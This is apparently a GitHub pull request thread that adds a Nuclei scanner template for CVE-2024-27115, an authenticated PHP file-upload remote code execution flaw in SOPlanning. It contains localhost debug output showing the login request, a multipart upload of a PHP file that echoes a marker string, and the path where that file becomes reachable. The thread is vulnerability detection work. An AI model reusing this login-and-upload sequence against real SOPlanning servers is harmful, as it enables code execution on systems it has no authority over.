Create CVE-2024-27115

[soonghee2]

Template / PR Information

• Added CVE-2024-27115

Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload.

Improved template based on previous version(#11503)

• References
  • https://www.exploit-db.com/exploits/52082
  • https://nvd.nist.gov/vuln/detail/CVE-2024-27115

Template Validation

I've validated this template locally?

• YES
• NO

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Connection: close
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

login=user1&password=user1
[�[35mDBG�[0m] [CVE-2024-27115] Dumped HTTP response http://localhost:80/www/process/login.php
..
..
..
upload
--0ccdfeede39eb97743b39d87536933e1
Content-Disposition: form-data; name="fichier-0"; filename="2sAhXlxzZLv7O1WrTEUgNdykDtC.php"
Content-Type: application/x-php

<?php echo 'Hello, World! 2sAhXlxzZLv7O1WrTEUgNdykDtC'; ?>
--0ccdfeede39eb97743b39d87536933e1--
[�[35mDBG�[0m] [CVE-2024-27115] Dumped HTTP response http://localhost:80/www/process/upload.php

...

File '2sAhXlxzZLv7O1WrTEUgNdykDtC.php' was added to the task !
[�[34mINF�[0m] [CVE-2024-27115] Dumped HTTP request for http://localhost:80/www/upload/files/soonghee/2sAhXlxzZLv7O1WrTEUgNdykDtC.php

[�[92mCVE-2024-27115�[0m:�[1;92mword-2�[0m] [�[94mhttp�[0m] [�[38;5;208mhigh�[0m] http://localhost:80/www/upload/files/soonghee/2sAhXlxzZLv7O1WrTEUgNdykDtC.php

[GeorginaReeder]

Thanks for your contribution @soonghee2 ! :)

[ritikchaddha]

Hello @soonghee2, thank you for sharing this template and contributing to this project.
I have updated the payload in the template. Could you please try running it and let me know if it works for you?

[soonghee2]

Hello @soonghee2, thank you for sharing this template and contributing to this project. I have updated the payload in the template. Could you please try running it and let me know if it works for you?

Yes, It works!